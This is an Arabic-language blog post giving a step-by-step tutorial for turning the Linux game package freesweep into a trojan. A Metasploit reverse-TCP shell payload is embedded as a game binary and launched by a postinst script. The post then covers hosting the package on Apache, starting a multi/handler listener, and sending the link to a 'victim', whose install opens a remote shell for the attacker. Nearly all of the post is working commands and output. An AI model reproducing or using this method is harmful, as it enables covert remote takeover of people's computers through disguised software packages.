jeudi 25 février 2010

افتراضي شرح طريقة عمل تروجان لينوكس وتحويله إلى ملف deb نفتح شل ونكتب التالي : كود: root@bt:~# apt-get --download-only install freesweep Reading

نفتح شل ونكتب التالي :

كود:
root@bt:~# apt-get --download-only install freesweep
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following packages will be upgraded:
freesweep
1 upgraded, 0 newly installed, 0 to remove and 1 not upgraded.
Need to get 39.3kB of archives.
After this operation, 164kB of additional disk space will be used.
Get:1 http://archive.offensive-security.com pwnsauce/universe freesweep 0.90-1 [39.3kB]
Fetched 39.3kB in 4s (8907B/s)
Download complete and in download only mode
نقوم بعمل مجلد ونسميه Trojan

كود:
كود:
root@bt:~# mkdir /root/Trojan
كود:
root@bt:~# mv /var/cache/apt/archives/freesweep_0.90-1_i386.deb /root/Troja
n
نغير صلاحية الملف ندخل إلى مجلد
كود:
كود:
root@bt:~# cd Trojan
root@bt:~/Trojan#
كود:
root@bt:~/Trojan# chmod 777 /root/Trojan
كود:
root@bt:~/Trojan# dpkg -x freesweep_0.90-1_i386.deb Juego
مجلد جديد نسميه DEBIAN
كود:
root@bt:~/Trojan# mkdir Juego/DEBIAN
كود:
root@bt:~/Trojan# cd Juego/DEBIAN

داخل مجلد DEBIAN نقوم بإنشاء ملفين control و postinst
داخل ملف control ننسخ الكود التالي:

كود:
كود:
 Package: freesweep
Version: 0.90-1
sección: Juegos y Diversion
Prioridad: Media
Arquitectura: i386
Creado: Ubuntu MOTU Developers (ubuntu-motu@lists.ubuntu.com)
Descripcion: Buscaminas es una implementación del popular juego de minas, donde se intenta encontrar todas las minas sin encender ninguna, en base a sugerencias dadas por el equipo
.
داخل ملف postinst ننسخ الكود التالي :
كود:
كود:
 #!/bin/sh

sudo chmod 2755 /usr/games/freesweep_scores && /usr/games/freesweep_scores & /usr/games/freesweep &

نقوم بنشأ trojan عن طريق msfpayload
كود:
كود:
root@bt:~/Trojan/Juego/DEBIAN# msfpayload linux/x86/shell/reverse_tcp LHOST=192.168.1.2 LPORT=1234 X > /root/Trojan/Juego/usr/games/freesweep_scores
Created by msfpayload (http://www.****sploit.com).
Payload: linux/x86/shell/reverse_tcp
Length: 50
Options: LHOST=192.168.1.2,LPORT=1234
root@bt:~/Trojan/Juego/DEBIAN#

كود:
كود:
 root@bt:~/Trojan/Juego/DEBIAN# chmod 755 postinst
root@bt:~/Trojan/Juego/DEBIAN# dpkg-deb --build /root/Trojan/Juego/
root@bt:~/Trojan/Juego/DEBIAN# cd /root/Trojan

الملف سنجده في مجلد Juego
سنجد الملف التنفيذي وننقله إلى مجلد /var/www
نقوم بتشغيل appach server

كود:
كود:
      /etc/init.d/apache2 start

نص بعمل تناسوا multi handler
كود:
كود:
msfcli exploit/multi/handler PAYLOAD=linux/x86/shell/reverse_tcp LHOST=192.168.1.2 LPORT=1234 E

نرسل لنك إلى الضحية و عندما يقوم بتحميله وتنصيب كما في الكود التالي
كود:
كود:
hacklab@hacklab-desktop:~$ wget http://192.168.142.137/freesweep.deb
--2010-01-21 23:36:27-- http://192.168.142.137/freesweep.deb
Conectando a 192.168.142.137:80... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 39214 (38K) [application/x-debian-package]
Guardando: «freesweep.deb»

100%[=======================================================>]

39.214 --.-K/s en 0s

2010-01-21 23:36:29 (93,0 MB/s) - `freesweep.deb' guardado [39214/39214]

hacklab@hacklab-desktop:~$

كود:
hacklab@hacklab-desktop:~$ sudo dpkg -i freesweep.deb
************************************************** ****************************************
attacker:
كود:
كود:
 [*] Sending stage (36 bytes)[*] Command shell session 1 opened (192.168.142.137:1234 -> 192.168.142.140:41233)

This image has been resized. Click this bar to view the full image. The original image is sized 1280x960.




source






التوقيع

Aucun commentaire:

Enregistrer un commentaire